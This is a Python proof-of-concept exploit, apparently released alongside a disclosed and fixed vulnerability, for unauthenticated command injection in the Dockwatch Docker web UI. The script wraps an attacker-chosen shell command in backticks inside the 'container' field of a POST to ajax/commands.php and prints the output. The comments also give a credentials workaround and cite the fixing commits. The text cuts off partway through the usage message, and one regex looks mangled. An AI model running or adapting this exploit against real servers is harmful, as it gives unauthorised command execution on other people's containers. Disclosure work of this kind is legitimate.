#!/usr/bin/env python3 # -*- coding: UTF-8 -*- # # dockexec.py # # Dockwatch Remote Command Execution # # Jeremy Brown [jbrown3264/gmail] / Sept 2024 # # Intro # # Dockwatch is a container management web UI for docker. It runs by default # without authentication, although guidance is available for how to setup # credentials for access. It has a Commands feature that allows a user to # run docker commands such as inspect, network, ps. Prior to fix, it did not # restrict input for parameters, so both 'container' and 'parameters' for the # 'dockerInspect' command were vulnerable to shell command injection on the # container as the 'abc'user with (limited) command output. # # Example # # $ ./dockexec.py http://host:9999 "id" # uid=1001(abc) # gid=131(abc) # groups=131(abc),281(unraiddocker),1000(users) # # Workaround: echo "admin:[a-FANTASTIC-password]" > /config/logins # * DO NOT DO THIS: echo "" > /config/logins (* unless you want spacebar to work for user/pass) # # Fix: see commits 23df366 and c091e4c, kudos for maintainers for quick fixes # import sys import requests import re def clean_output(output): output = output.replace('[]', '') output = re.sub(r'Error: No such object:\s*', '', output) output = output.replace('command', '') output = output.replace('test\n', '') lines = [line.strip() for line in output.split('\n')] return '\n'.join(lines) def send_command(url, command): endpoint = f"{url}/ajax/commands.php" data = { 'm': 'runCommand', 'command': 'dockerInspect', 'container': '`' + command + '`', 'parameters': 'test', # also affected 'servers': '0' } try: response = requests.post(endpoint, data=data) response.raise_for_status() match = re.search(r'
]*>(.*?)', response.text, re.DOTALL) if match: output = clean_output(match.group(1)) if output: print("%s" % output) else: print("No output found.") else: print("No output found in the response.") except requests.exceptions.RequestException as error: print("An error occurred: %s" % error) if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: %s